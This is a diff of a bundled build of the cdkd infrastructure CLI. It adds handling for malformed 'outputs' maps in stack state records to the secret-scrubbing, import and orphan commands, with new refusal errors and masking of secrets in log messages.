return `State for ${shellQuote(stack)} (${shellQuote(reg)}) has no readable 'outputs' map — the record is malformed or truncated. Where the stored value is a string or a list, 'Object.entries' walks it as readily as a map, so diffing it INVENTS a REMOVE row per character or element carrying the record's own characters; where it is a number, a boolean or null, it yields no comparison at all. Continuing with it EMPTY: every output this diff resolves is reported as an ADD and no stored key is reported as a REMOVE, which is not the same as the record holding none. See the stored value with: cdkd state show ${shellQuote(stack)} --stack-region ${shellQuote(reg)} --json`;
|
|
64292
|
-
}
|
|
64293
|
-
/**
|
|
64294
|
-
* For a command that can WRITE state: refuse the record by name instead of
|
|
64295
|
-
* repairing it.
|
|
64296
|
-
*
|
|
64297
|
-
* Repairing is actively DANGEROUS here, and the PR that introduced this module
|
|
64298
|
-
* shipped that danger for one round before its security review caught it.
|
|
64299
|
-
* `cdkd scrub` gates its `saveState` on `recordsChanged > 0`, which an OUTPUTS
|
|
64300
|
-
* change alone satisfies — so a record holding `"resources": null` and a
|
|
64301
|
-
* plaintext secret in `outputs` would be scrubbed, and then saved back with a
|
|
64302
|
-
* repaired, WELL-FORMED `resources: {}`. The malformed record is the only
|
|
64303
|
-
* signal that anything is wrong; laundering it into a legitimate-looking empty
|
|
64304
|
-
* one is permanent and silent. The next `cdkd deploy` then reads zero resources
|
|
64305
|
-
* and CREATES the whole stack a second time, and the next `cdkd destroy`
|
|
64306
|
-
* deletes nothing and orphans every live resource — and the one-shot warning
|
|
64307
|
-
* that would have said so is long gone, quite possibly for a different
|
|
64308
|
-
* operator. `cdkd import --force` launders it the same way.
|
|
64309
|
-
*
|
|
64310
|
-
* Refusing still satisfies #3018, whose complaint was the BARE `TypeError`:
|
|
64311
|
-
* this names the stack, the region, the defect and the remedy, and exits on a
|
|
64312
|
-
* code rather than on a stack trace.
|
|
64313
|
-
*/
|
|
64314
|
-
function refuseMalformedState(state, stackName, region) {
|
|
64315
|
-
if (hasReadableResources(state)) return;
|
|
64316
|
-
throw new CdkdError(malformedStateRefusalMessage(stackName, region), STATE_RESOURCES_MALFORMED);
|
|
64317
|
-
}
|
|
64318
|
-
|
|
64319
64429
|
//#endregion
|
|
64320
64430
|
//#region src/analyzer/outputs-diff.ts
|
|
64321
64431
|
/**
|
|
@@ -65837,6 +65947,7 @@ async function loadStateOrEmpty(stackName, region, stateBackend) {
|
|
|
65837
65947
|
if (result) {
|
|
65838
65948
|
if (repairMalformedResourcesForReadOnly(result.state)) logger.warn(malformedResourcesWarning(stackName, region));
|
|
65839
65949
|
if (repairMalformedOutputsForReadOnly(result.state)) logger.warn(malformedOutputsWarning(stackName, region));
|
|
65950
|
+
if (isReadableBag(result.state.outputs) && !hasReadableExportSet(result.state)) logger.warn(malformedExportNamesWarning(stackName, region));
|
|
65840
65951
|
return result.state;
|
|
65841
65952
|
}
|
|
65842
65953
|
return {
|
|
@@ -67147,6 +67258,24 @@ async function scrubCommand(stacks, options) {
|
|
|
67147
67258
|
* audit this run could not perform is a FINDING, never a clean result.
|
|
67148
67259
|
*/
|
|
67149
67260
|
const malformedRecords = [];
|
|
67261
|
+
/**
|
|
67262
|
+
* The same, for the `outputs` bag (issue go-to-k/cdkd#3192). A SECOND list
|
|
67263
|
+
* rather than a shared one: the two containers carry different consequences
|
|
67264
|
+
* and {@link malformedRecordsAuditedError} names which was unreadable, so
|
|
67265
|
+
* merging them would print a sentence about resources over a record whose
|
|
67266
|
+
* resource map was fine.
|
|
67267
|
+
*/
|
|
67268
|
+
const malformedOutputRecords = [];
|
|
67269
|
+
/**
|
|
67270
|
+
* Stacks whose scrub met a PRODUCER record with an unreadable `outputs` map
|
|
67271
|
+
* (go-to-k/cdkd#3192 review round 5).
|
|
67272
|
+
*
|
|
67273
|
+
* Its own list rather than a counter because the refusal NAMES the stacks,
|
|
67274
|
+
* and its own list rather than a share of `malformedOutputRecords` because
|
|
67275
|
+
* those name records THIS run was scrubbing while these name records it only
|
|
67276
|
+
* READ — different remedy, different sentence.
|
|
67277
|
+
*/
|
|
67278
|
+
const damagedProducerStacks = [];
|
|
67150
67279
|
const failures = [];
|
|
67151
67280
|
const exportIndexStores = /* @__PURE__ */ new Map();
|
|
67152
67281
|
const exportIndexFor = (indexRegion) => {
|
|
@@ -67224,13 +67353,15 @@ async function scrubCommand(stacks, options) {
|
|
|
67224
67353
|
logger.info(`${options.dryRun ? "Would scrub" : "Scrubbed"} ${scrubbed.recordsChanged} resource record(s) in ${stack.stackName}`);
|
|
67225
67354
|
} else if (scrubbed.secretBearingKeys === 0 && scrubbed.unverifiableReads === 0 && scrubbed.unverifiableLeaves === 0 && indexConverged === 0) logger.info(`No plaintext secrets found in ${stack.stackName}`);
|
|
67226
67355
|
if (scrubbed.malformedResources) malformedRecords.push(stack.stackName);
|
|
67356
|
+
if (scrubbed.malformedOutputs) malformedOutputRecords.push(stack.stackName);
|
|
67227
67357
|
if (scrubbed.unverifiableLeaves > 0) {
|
|
67228
67358
|
totalStacksWithUnverifiableLeaves++;
|
|
67229
67359
|
logger.warn(`${scrubbed.unverifiableLeaves} scan(s) in ${stack.stackName} were ABANDONED mid-value because a {{resolve:...}} reference could not be resolved (see the warnings above). The resolver stops at the first failing token, so a real secret after it in the same value recorded no needle — this stack is not reported clean. The count is per abandoned SCAN, not per secret: one record can contribute more than once (an output whose Export.Name and Value both abandon), and one abandoned scan can hide several unexamined leaves.`);
|
|
67230
67360
|
}
|
|
67361
|
+
if (scrubbed.unverifiableProducerRecords > 0) damagedProducerStacks.push(stack.stackName);
|
|
67231
67362
|
if (scrubbed.unverifiableReads > 0) {
|
|
67232
67363
|
totalStacksWithUnverifiableReads++;
|
|
67233
|
-
logger.warn(`${scrubbed.unverifiableReads} cross-stack read(s) in ${stack.stackName} could NOT be verified
|
|
67364
|
+
logger.warn(`${scrubbed.unverifiableReads} cross-stack read(s) in ${stack.stackName} could NOT be verified (see the warnings above for which, and why) — so this stack is not reported clean.`);
|
|
67234
67365
|
}
|
|
67235
67366
|
if (scrubbed.secretBearingKeys > 0) {
|
|
67236
67367
|
totalStacksWithUnscrubbableKeys++;
|
|
@@ -67258,7 +67389,7 @@ async function scrubCommand(stacks, options) {
|
|
|
67258
67389
|
totalIndexEntriesUnexamined += unexamined.length;
|
|
67259
67390
|
logger.info(`Exports index (${indexRegion}): ${unexamined.length} entr${unexamined.length === 1 ? "y is" : "ies are"} published by a producer this run did not scrub, so nothing here read ${unexamined.length === 1 ? "its" : "their"} value. Coverage composes across the apps sharing this bucket and region — run each app's own cdkd scrub to reach its entries.`);
|
|
67260
67391
|
}
|
|
67261
|
-
if (totalStacksScrubbed === 0 && totalStacksWithUnscrubbableKeys === 0 && totalStacksWithUnverifiableReads === 0 && totalStacksWithUnverifiableLeaves === 0 && totalIndexEntriesConverged === 0 && indexUnwritten.length === 0 && indexUnreadable.length === 0 && malformedRecords.length === 0) {
|
|
67392
|
+
if (totalStacksScrubbed === 0 && totalStacksWithUnscrubbableKeys === 0 && totalStacksWithUnverifiableReads === 0 && totalStacksWithUnverifiableLeaves === 0 && totalIndexEntriesConverged === 0 && indexUnwritten.length === 0 && indexUnreadable.length === 0 && malformedRecords.length === 0 && malformedOutputRecords.length === 0) {
|
|
67262
67393
|
if (failures.length === 0) {
|
|
67263
67394
|
logger.info("\nNo plaintext secrets found in any target stack state. Nothing to scrub.");
|
|
67264
67395
|
return;
|
|
@@ -67269,7 +67400,7 @@ async function scrubCommand(stacks, options) {
|
|
|
67269
67400
|
const failureNote = failures.length > 0 ? ` ${failures.length} stack(s) could NOT be scrubbed at all and are NOT covered by this summary — see the errors above.` : "";
|
|
67270
67401
|
const keyNote = totalStacksWithUnscrubbableKeys > 0 ? ` ${totalStacksWithUnscrubbableKeys} stack(s) hold plaintext in an output KEY, which cdkd scrub cannot rewrite — rename that output's Export.Name and redeploy.` : "";
|
|
67271
67402
|
const leafNote = totalStacksWithUnverifiableLeaves > 0 ? ` ${totalStacksWithUnverifiableLeaves} stack(s) had a {{resolve:...}} scan ABANDONED mid-value, so part of their state was never examined (see the warnings above).` : "";
|
|
67272
|
-
const unverifiableNote = totalStacksWithUnverifiableReads > 0 ? ` ${totalStacksWithUnverifiableReads} stack(s) carry a cross-stack read
|
|
67403
|
+
const unverifiableNote = totalStacksWithUnverifiableReads > 0 ? ` ${totalStacksWithUnverifiableReads} stack(s) carry a cross-stack read that could NOT be verified, so their imported values were not checked — see the warnings above for which read, why, and what to do about it.` : "";
|
|
67273
67404
|
const indexNote = (() => {
|
|
67274
67405
|
const parts = [];
|
|
67275
67406
|
if (totalIndexEntriesConverged > 0) parts.push(options.dryRun ? ` ${totalIndexEntriesConverged} exports index entr${totalIndexEntriesConverged === 1 ? "y" : "ies"} differ from the producer's scrubbed state.outputs and would be converged to it (--dry-run, nothing written).` : ` ${totalIndexEntriesConverged} exports index entr${totalIndexEntriesConverged === 1 ? "y" : "ies"} converged to the producer's state.outputs value. exports.json is written with the same PutObject state.json is, so on a VERSIONED bucket the pre-repair body survives as a noncurrent version and stays readable with GetObject and a VersionId.`);
|
|
@@ -67282,7 +67413,8 @@ async function scrubCommand(stacks, options) {
|
|
|
67282
67413
|
else logger.info(`\nPlan: no state record can be rewritten.${keyNote}${unverifiableNote}${leafNote}${indexNote}${failureNote} ROTATE any exposed secret.`);
|
|
67283
67414
|
if (failures.length > 0) throw scrubStacksFailedError(failures);
|
|
67284
67415
|
if (indexUnwritten.length > 0 || indexUnreadable.length > 0) throw exportIndexIncompleteError(indexUnwritten, indexUnreadable, true);
|
|
67285
|
-
if (malformedRecords.length > 0) throw malformedRecordsAuditedError(malformedRecords);
|
|
67416
|
+
if (malformedRecords.length > 0 || malformedOutputRecords.length > 0) throw malformedRecordsAuditedError(malformedRecords, malformedOutputRecords);
|
|
67417
|
+
if (damagedProducerStacks.length > 0) throw damagedProducerRecordsError(damagedProducerStacks);
|
|
67286
67418
|
if (options.fail) throw new ScrubNeededError();
|
|
67287
67419
|
return;
|
|
67288
67420
|
}
|
|
@@ -67290,7 +67422,8 @@ async function scrubCommand(stacks, options) {
|
|
|
67290
67422
|
else logger.info(`\nNo state record was rewritten.${keyNote}${unverifiableNote}${leafNote}${indexNote}${failureNote} ROTATE any exposed secret.`);
|
|
67291
67423
|
if (failures.length > 0) throw scrubStacksFailedError(failures);
|
|
67292
67424
|
if (indexUnwritten.length > 0 || indexUnreadable.length > 0) throw exportIndexIncompleteError(indexUnwritten, indexUnreadable, false);
|
|
67293
|
-
if (malformedRecords.length > 0) throw malformedRecordsAuditedError(malformedRecords);
|
|
67425
|
+
if (malformedRecords.length > 0 || malformedOutputRecords.length > 0) throw malformedRecordsAuditedError(malformedRecords, malformedOutputRecords);
|
|
67426
|
+
if (damagedProducerStacks.length > 0) throw damagedProducerRecordsError(damagedProducerStacks);
|
|
67294
67427
|
if (options.fail && (totalStacksWithUnscrubbableKeys > 0 || totalStacksWithUnverifiableReads > 0 || totalStacksWithUnverifiableLeaves > 0)) throw new ScrubNeededError();
|
|
67295
67428
|
}
|
|
67296
67429
|
/**
|
|
@@ -67891,8 +68024,32 @@ function orderScrubTargets(targets) {
|
|
|
67891
68024
|
* under `--fail` via the SILENT `ScrubNeededError`, whose suppression would
|
|
67892
68025
|
* also swallow this text.
|
|
67893
68026
|
*/
|
|
67894
|
-
|
|
67895
|
-
|
|
68027
|
+
/**
|
|
68028
|
+
* A producer record this run could not classify (go-to-k/cdkd#3192 review).
|
|
68029
|
+
*
|
|
68030
|
+
* `ScrubRefusalError`, so it carries scrub's exit **2** — and UNGATED by
|
|
68031
|
+
* `--fail`, which is the whole point. Before the `outputs` bag was guarded,
|
|
68032
|
+
* both damaged shapes already exited 2 unconditionally: the ARRAY shape
|
|
68033
|
+
* resolved its element and raised `plaintextProducerCrossStackReadError`, the
|
|
68034
|
+
* STRING shape threw a `TypeError` the pre-pass deliberately does not catch.
|
|
68035
|
+
* Routing them into `unverifiableReads` alone made a plain `cdkd scrub` exit
|
|
68036
|
+
* 0 — and the `--fail` path exit 1, which `docs/cli-reference.md` teaches as
|
|
68037
|
+
* the opposite remedy (1 = rotate the secret, 2 = repair and re-run).
|
|
68038
|
+
*
|
|
68039
|
+
* Names are rendered through `displayIdent` for the reason
|
|
68040
|
+
* {@link malformedRecordsAuditedError} gives: a stack name reaching a
|
|
68041
|
+
* comma-joined list needs a boundary it cannot close from inside.
|
|
68042
|
+
*/
|
|
68043
|
+
function damagedProducerRecordsError(stackNames) {
|
|
68044
|
+
const names = stackNames.map((n) => displayIdent(n)).join(", ");
|
|
68045
|
+
return new ScrubRefusalError(`${stackNames.length} stack(s) import a value from a PRODUCER whose state record has no readable 'outputs' map, so this run could not tell whether that producer still holds the plaintext: ${names}. Those stacks were scrubbed for everything else and are NOT reported clean. Repair the producer record and scrub it first, then re-run. See the warnings above for which producer.`, "SCRUB_PRODUCER_RECORD_UNREADABLE");
|
|
68046
|
+
}
|
|
68047
|
+
function malformedRecordsAuditedError(stackNames, outputStackNames) {
|
|
68048
|
+
const safeNames = (names) => names.map((n) => displayIdent(n)).join(", ");
|
|
68049
|
+
const parts = [];
|
|
68050
|
+
if (stackNames.length > 0) parts.push(`${stackNames.length} stack(s) were audited with an EMPTY resource set because their state record has no readable 'resources' map: ${safeNames(stackNames)}. The report above describes their outputs only — nothing is known about their resources, so this run cannot certify them clean.`);
|
|
68051
|
+
if (outputStackNames.length > 0) parts.push(`${outputStackNames.length} stack(s) were audited with an EMPTY outputs bag because their state record has no readable 'outputs' map: ${safeNames(outputStackNames)}. The report above describes their resources only — nothing is known about the values their outputs hold, and those values are what the exports index republishes to consumer stacks, so this run cannot certify them clean.`);
|
|
68052
|
+
return new ScrubRefusalError(`${parts.join(" ")} See the warnings above for the record to inspect.`, STATE_RESOURCES_MALFORMED);
|
|
67896
68053
|
}
|
|
67897
68054
|
function memoizeCrossStackStateReads(backend) {
|
|
67898
68055
|
const view = Object.create(backend);
|
|
@@ -68072,6 +68229,25 @@ function scrubRefusalWording(verdict, loggedExportKey, loggedProducerStack, logg
|
|
|
68072
68229
|
};
|
|
68073
68230
|
}
|
|
68074
68231
|
/**
|
|
68232
|
+
* The same names as a SET, for the one question scrub asks that is about
|
|
68233
|
+
* membership rather than order: is this `Properties` bag itself an intrinsic
|
|
68234
|
+
* NODE, which the resolver must be handed whole?
|
|
68235
|
+
*
|
|
68236
|
+
* DERIVED, never re-listed. Review of go-to-k/cdkd#3215 caught a hand-written
|
|
68237
|
+
* copy of these seventeen names forty lines from this constant — a second
|
|
68238
|
+
* spelling of one fact, in one file, each with its own fence. The membership is
|
|
68239
|
+
* identical by construction now, so the drift class does not exist and
|
|
68240
|
+
* `scrub-import-value-secret.test.ts`'s existing fence against the resolver
|
|
68241
|
+
* covers both uses.
|
|
68242
|
+
*
|
|
68243
|
+
* NOT `HANDLED_INTRINSIC_KEYS` from the resolver, which answers a different
|
|
68244
|
+
* question and deliberately carries `Fn::Transform` — handled so a stray
|
|
68245
|
+
* already-expanded macro does not hard-error, but never DISPATCHED on. Routing
|
|
68246
|
+
* a multi-key bag whole because it carries that key is the spurious-name case
|
|
68247
|
+
* that re-opens go-to-k/cdkd#3196.
|
|
68248
|
+
*/
|
|
68249
|
+
const RESOLVER_DISPATCH_KEYS = new Set(RESOLVER_INTRINSIC_PRECEDENCE);
|
|
68250
|
+
/**
|
|
68075
68251
|
* `values` with repeats removed, keeping either the FIRST or the LAST occurrence
|
|
68076
68252
|
* of each and preserving the order of the ones kept.
|
|
68077
68253
|
*/
|
|
@@ -68616,8 +68792,8 @@ function abandonedScanWarning(subject, verdict) {
|
|
|
68616
68792
|
* that does not exist for them. It names what they CAN do and then says plainly
|
|
68617
68793
|
* that scrub may simply not be able to certify the record.
|
|
68618
68794
|
*/
|
|
68619
|
-
function abandonedScanStackNote(verdict,
|
|
68620
|
-
const subject = `${
|
|
68795
|
+
function abandonedScanStackNote(verdict, scans) {
|
|
68796
|
+
const subject = `${scans} abandoned scan(s) above`;
|
|
68621
68797
|
return verdict === "count" ? `${subject}: the resolver stops at the first {{resolve:...}} token it cannot fetch, so any secret after it in the same value recorded no needle and could not be rewritten. Re-run with --verbose for the cause of each.` : `${subject}: the scan stopped on something cdkd scrub cannot resolve with template defaults alone — an unresolvable Ref or Fn::GetAtt, a parameter with no Default, or a reference whose own argument still holds an unsubstituted \${...}. These do NOT fail --fail, because scrub takes no --parameters and a gate failure here could not be cleared. Give the parameter a Default, or resolve the reference, to let scrub certify these records; otherwise accept that it cannot.`;
|
|
68622
68798
|
}
|
|
68623
68799
|
/**
|
|
@@ -68961,6 +69137,18 @@ function makeCrossStackPrePass(deps) {
|
|
|
68961
69137
|
const { stackName, resolver, producerTemplates, findings, logger } = deps;
|
|
68962
69138
|
const exportOwners = buildExportOwnerIndex(producerTemplates);
|
|
68963
69139
|
const verdicts = /* @__PURE__ */ new Map();
|
|
69140
|
+
/**
|
|
69141
|
+
* Producer records already reported as having an unreadable `outputs` map, so
|
|
69142
|
+
* that line is emitted once per RECORD rather than once per reference
|
|
69143
|
+
* (review of go-to-k/cdkd#3206 round 4).
|
|
69144
|
+
*
|
|
69145
|
+
* Beside `verdicts` on purpose: both are per-pre-pass memos keyed by a
|
|
69146
|
+
* producer coordinate, and both would repeat per reference without one.
|
|
69147
|
+
* Measured before this: a consumer template with three `Fn::GetStackOutput`
|
|
69148
|
+
* reads of ONE damaged producer emitted three identical ~600-character
|
|
69149
|
+
* paragraphs, and a `--all` run repeated the set per consumer stack.
|
|
69150
|
+
*/
|
|
69151
|
+
const warnedDamagedProducers = /* @__PURE__ */ new Set();
|
|
68964
69152
|
const secretExpressionVerdict = (stack, key) => {
|
|
68965
69153
|
const id = `${stack}\u0000${key}`;
|
|
68966
69154
|
let verdict = verdicts.get(id);
|
|
@@ -69070,7 +69258,7 @@ function makeCrossStackPrePass(deps) {
|
|
|
69070
69258
|
* memoized `getState` promise this call resolves), so the read costs no
|
|
69071
69259
|
* extra AWS call.
|
|
69072
69260
|
*/
|
|
69073
|
-
const storedProducerValue = async (producer, backend) => {
|
|
69261
|
+
const storedProducerValue = async (producer, backend, nodeCanRefuse) => {
|
|
69074
69262
|
if (!backend) return void 0;
|
|
69075
69263
|
let loaded;
|
|
69076
69264
|
try {
|
|
@@ -69080,7 +69268,23 @@ function makeCrossStackPrePass(deps) {
|
|
|
69080
69268
|
return;
|
|
69081
69269
|
}
|
|
69082
69270
|
const outputs = loaded?.state?.outputs;
|
|
69083
|
-
if (
|
|
69271
|
+
if (outputs !== void 0 && !isReadableBag(outputs)) {
|
|
69272
|
+
if (!nodeCanRefuse) {
|
|
69273
|
+
logger.debug(`Scrub of ${stackName}: producer '${maskSecretsInText(producer.stack, secrets)}' (${producer.region}) has no readable 'outputs' map, and this position cannot refuse.`);
|
|
69274
|
+
return;
|
|
69275
|
+
}
|
|
69276
|
+
const seenKey = `${producer.stack}\u0000${producer.region}`;
|
|
69277
|
+
if (!warnedDamagedProducers.has(seenKey)) {
|
|
69278
|
+
warnedDamagedProducers.add(seenKey);
|
|
69279
|
+
const detail = `the stored value of producer '${maskSecretsInText(producer.stack, secrets)}' (${producer.region}), whose 'outputs' map cannot be read`;
|
|
69280
|
+
findings.unverifiable.push(detail);
|
|
69281
|
+
findings.damagedProducerRecords.push(detail);
|
|
69282
|
+
logger.warn(`Scrub of ${stackName}: producer '${maskSecretsInText(producer.stack, secrets)}' (${producer.region}) has no readable 'outputs' map, so its stored value could NOT be classified — this run cannot tell whether it still holds plaintext for the value ${stackName} imports from it. ${stackName} is scrubbed for everything else. Repair that record and scrub it first.`);
|
|
69283
|
+
}
|
|
69284
|
+
return;
|
|
69285
|
+
}
|
|
69286
|
+
if (outputs === void 0) return void 0;
|
|
69287
|
+
if (!Object.hasOwn(outputs, producer.key)) return void 0;
|
|
69084
69288
|
return { stored: outputs[producer.key] };
|
|
69085
69289
|
};
|
|
69086
69290
|
const readOne = async (key, node, path, nodeCanRefuse) => {
|
|
@@ -69121,7 +69325,7 @@ function makeCrossStackPrePass(deps) {
|
|
|
69121
69325
|
logger.debug(`Scrub of ${stackName}: ${where} resolved through producer '${loggedStack}', whose template declares no {{resolve:...}} expression for '${loggedKey}' and no re-export chain reaching one. Not classified as a plaintext producer.`);
|
|
69122
69326
|
return;
|
|
69123
69327
|
}
|
|
69124
|
-
const stored = await storedProducerValue(producer, context.stateBackend);
|
|
69328
|
+
const stored = await storedProducerValue(producer, context.stateBackend, nodeCanRefuse);
|
|
69125
69329
|
if (!stored) {
|
|
69126
69330
|
logger.debug(`Scrub of ${stackName}: ${where} resolved through producer '${loggedStack}' (${producer.region}), whose state record could not be read or does not carry the key '${loggedKey}' — cannot classify, so this is not classified as a plaintext producer.`);
|
|
69127
69331
|
return;
|
|
@@ -69203,7 +69407,10 @@ async function scrubStack(stack, region, stateBackend, lockManager, opts) {
|
|
|
69203
69407
|
* rewrite another's coinciding literal.
|
|
69204
69408
|
*/
|
|
69205
69409
|
const orphanSecrets = /* @__PURE__ */ new Map();
|
|
69206
|
-
const prePassFindings = {
|
|
69410
|
+
const prePassFindings = {
|
|
69411
|
+
unverifiable: [],
|
|
69412
|
+
damagedProducerRecords: []
|
|
69413
|
+
};
|
|
69207
69414
|
/**
|
|
69208
69415
|
* Leaves whose dynamic-reference scan was ABANDONED mid-token (issue
|
|
69209
69416
|
* go-to-k/cdkd#3160). A counted finding, not a refusal — see
|
|
@@ -69240,6 +69447,7 @@ async function scrubStack(stack, region, stateBackend, lockManager, opts) {
|
|
|
69240
69447
|
secretsFound: 0,
|
|
69241
69448
|
secretBearingKeys: 0,
|
|
69242
69449
|
unverifiableReads: 0,
|
|
69450
|
+
unverifiableProducerRecords: 0,
|
|
69243
69451
|
unverifiableLeaves: 0,
|
|
69244
69452
|
exportNameDisplay: (name) => secretSafeKeyDisplay(name, outputSecrets)
|
|
69245
69453
|
};
|
|
@@ -69252,6 +69460,13 @@ async function scrubStack(stack, region, stateBackend, lockManager, opts) {
|
|
|
69252
69460
|
logger.warn(malformedResourcesWarning(stack.stackName, region));
|
|
69253
69461
|
}
|
|
69254
69462
|
} else if (!hasReadableResources(state)) throw new ScrubRefusalError(malformedStateRefusalMessage(stack.stackName, region), STATE_RESOURCES_MALFORMED);
|
|
69463
|
+
let malformedOutputs;
|
|
69464
|
+
if (opts.dryRun) {
|
|
69465
|
+
if (repairMalformedOutputsForReadOnly(state)) {
|
|
69466
|
+
malformedOutputs = true;
|
|
69467
|
+
logger.warn(malformedOutputsWarning(stack.stackName, region));
|
|
69468
|
+
}
|
|
69469
|
+
} else if (!hasReadableOutputs(state)) throw new ScrubRefusalError(malformedOutputsRefusalMessage(stack.stackName, region), STATE_RESOURCES_MALFORMED);
|
|
69255
69470
|
const perResourceTemplateProps = /* @__PURE__ */ new Map();
|
|
69256
69471
|
const outputsTemplateSource = {};
|
|
69257
69472
|
const resolvers = new ScrubResolvers(region);
|
|
@@ -69310,17 +69525,21 @@ async function scrubStack(stack, region, stateBackend, lockManager, opts) {
|
|
|
69310
69525
|
});
|
|
69311
69526
|
const resourceContext = resolverContext(recordedSecretValues);
|
|
69312
69527
|
await resolveCrossStackReads(resolveInput, resourceContext, `resource '${logicalId}'`);
|
|
69313
|
-
|
|
69314
|
-
|
|
69528
|
+
const bagKeys = resolveInput !== null && typeof resolveInput === "object" && !Array.isArray(resolveInput) ? Object.keys(resolveInput) : void 0;
|
|
69529
|
+
const intrinsicShapedBag = bagKeys?.some((k) => RESOLVER_DISPATCH_KEYS.has(k)) ?? false;
|
|
69530
|
+
const resolveUnits = bagKeys && !intrinsicShapedBag ? Object.entries(resolveInput) : [["", resolveInput]];
|
|
69531
|
+
for (const [propertyName, propertyValue] of resolveUnits) try {
|
|
69532
|
+
await resolver.resolve(propertyValue, resourceContext);
|
|
69315
69533
|
} catch (err) {
|
|
69316
69534
|
if (isRegionAmbiguousRefusal(err) || isNamelessDynamicReferenceFailure(err)) throw err;
|
|
69317
|
-
const leafVerdict = abandonedScanVerdict(
|
|
69535
|
+
const leafVerdict = abandonedScanVerdict(propertyValue, err);
|
|
69318
69536
|
if (leafVerdict !== "silent") {
|
|
69319
69537
|
if (leafVerdict === "count") unverifiableLeaves++;
|
|
69320
69538
|
else ungateableAbandonedScans++;
|
|
69321
|
-
|
|
69539
|
+
const subject = propertyName ? `resource '${displaySafe(logicalId)}' property '${displaySafe(propertyName)}'` : `resource '${displaySafe(logicalId)}'`;
|
|
69540
|
+
logger.warn(maskSecretsInText(abandonedScanWarning(subject, leafVerdict), recordedSecretValues));
|
|
69322
69541
|
}
|
|
69323
|
-
logger.debug(`Resolution of ${logicalId} during scrub was partial: ${
|
|
69542
|
+
logger.debug(maskSecretsInText(`Resolution of ${displaySafe(logicalId)}${propertyName ? `.${displaySafe(propertyName)}` : ""} during scrub was partial: ${err instanceof Error ? err.message : String(err)}`, recordedSecretValues));
|
|
69324
69543
|
}
|
|
69325
69544
|
perResourceTemplateProps.set(logicalId, templateResource.Properties);
|
|
69326
69545
|
}
|
|
@@ -69338,17 +69557,18 @@ async function scrubStack(stack, region, stateBackend, lockManager, opts) {
|
|
|
69338
69557
|
recordedSecretValues,
|
|
69339
69558
|
origin: `orphan record '${record.logicalId}'`
|
|
69340
69559
|
});
|
|
69341
|
-
|
|
69342
|
-
|
|
69560
|
+
const orphanContext = resolverContext(recordedSecretValues);
|
|
69561
|
+
for (const [bagName, bagValue] of Object.entries(resolveInput)) try {
|
|
69562
|
+
await resolver.resolve(bagValue, orphanContext);
|
|
69343
69563
|
} catch (err) {
|
|
69344
69564
|
if (isRegionAmbiguousRefusal(err) || isNamelessDynamicReferenceFailure(err)) throw err;
|
|
69345
|
-
const leafVerdict = abandonedScanVerdict(
|
|
69565
|
+
const leafVerdict = abandonedScanVerdict(bagValue, err);
|
|
69346
69566
|
if (leafVerdict !== "silent") {
|
|
69347
69567
|
if (leafVerdict === "count") unverifiableLeaves++;
|
|
69348
69568
|
else ungateableAbandonedScans++;
|
|
69349
|
-
logger.warn(maskSecretsInText(abandonedScanWarning(`orphan record '${displaySafe(record.logicalId)}'`, leafVerdict), recordedSecretValues));
|
|
69569
|
+
logger.warn(maskSecretsInText(abandonedScanWarning(`orphan record '${displaySafe(record.logicalId)}' ${bagName}`, leafVerdict), recordedSecretValues));
|
|
69350
69570
|
}
|
|
69351
|
-
logger.debug(`Resolution of orphan record ${record.logicalId} during scrub was partial: ${
|
|
69571
|
+
logger.debug(maskSecretsInText(`Resolution of orphan record ${displaySafe(record.logicalId)} ${bagName} during scrub was partial: ${err instanceof Error ? err.message : String(err)}`, recordedSecretValues));
|
|
69352
69572
|
}
|
|
69353
69573
|
}
|
|
69354
69574
|
for (const [name, output] of Object.entries(templateOutputs)) {
|
|
@@ -69441,8 +69661,10 @@ async function scrubStack(stack, region, stateBackend, lockManager, opts) {
|
|
|
69441
69661
|
secretsFound: 0,
|
|
69442
69662
|
secretBearingKeys: secretBearingKeys.length,
|
|
69443
69663
|
unverifiableReads: prePassFindings.unverifiable.length,
|
|
69664
|
+
unverifiableProducerRecords: prePassFindings.damagedProducerRecords.length,
|
|
69444
69665
|
unverifiableLeaves,
|
|
69445
69666
|
...malformedResources ? { malformedResources } : {},
|
|
69667
|
+
...malformedOutputs ? { malformedOutputs } : {},
|
|
69446
69668
|
outputs: state.outputs,
|
|
69447
69669
|
exportNameDisplay: (name) => secretSafeKeyDisplay(name, outputSecrets)
|
|
69448
69670
|
};
|
|
@@ -69493,8 +69715,10 @@ async function scrubStack(stack, region, stateBackend, lockManager, opts) {
|
|
|
69493
69715
|
secretsFound: totalSecrets,
|
|
69494
69716
|
secretBearingKeys: secretBearingKeys.length,
|
|
69495
69717
|
unverifiableReads: prePassFindings.unverifiable.length,
|
|
69718
|
+
unverifiableProducerRecords: prePassFindings.damagedProducerRecords.length,
|
|
69496
69719
|
unverifiableLeaves,
|
|
69497
69720
|
...malformedResources ? { malformedResources } : {},
|
|
69721
|
+
...malformedOutputs ? { malformedOutputs } : {},
|
|
69498
69722
|
outputs: newOutputs,
|
|
69499
69723
|
exportNameDisplay: (name) => secretSafeKeyDisplay(name, outputSecrets)
|
|
69500
69724
|
};
|
|
@@ -82660,6 +82884,7 @@ async function orphanCommand(pathArgs, options) {
|
|
|
82660
82884
|
if (!stateData) throw new Error(`No state found for stack '${stackInfo.stackName}' (${targetRegion}). Nothing to orphan. (Did the stack get deployed?)`);
|
|
82661
82885
|
const { state, etag, migrationPending } = stateData;
|
|
82662
82886
|
refuseMalformedState(state, stackInfo.stackName, targetRegion);
|
|
82887
|
+
refuseMalformedOutputs(state, stackInfo.stackName, targetRegion);
|
|
82663
82888
|
const missing = orphanLogicalIds.filter((id) => !(id in state.resources));
|
|
82664
82889
|
if (missing.length > 0) {
|
|
82665
82890
|
const have = Object.keys(state.resources ?? {}).join(", ");
|
|
@@ -83239,6 +83464,7 @@ async function importCommand(stackArg, options) {
|
|
|
83239
83464
|
const existingResult = await stateBackend.getState(stackInfo.stackName, targetRegion);
|
|
83240
83465
|
const existingState = existingResult?.state ?? null;
|
|
83241
83466
|
if (existingState) refuseMalformedState(existingState, stackInfo.stackName, targetRegion);
|
|
83467
|
+
if (existingState) refuseMalformedOutputs(existingState, stackInfo.stackName, targetRegion);
|
|
83242
83468
|
const existingEtag = existingResult?.etag;
|
|
83243
83469
|
const migrationPending = existingResult?.migrationPending ?? false;
|
|
83244
83470
|
if (existingState) {
|
|
@@ -93828,4 +94054,4 @@ function buildProgram() {
|
|
|
93828
94054
|
|
|
93829
94055
|
//#endregion
|
|
93830
94056
|
export { buildProgram };
|
|
93831
|
-
//# sourceMappingURL=program-
|
|
94057
|
+
//# sourceMappingURL=program-BDNXyKp5.js.map
|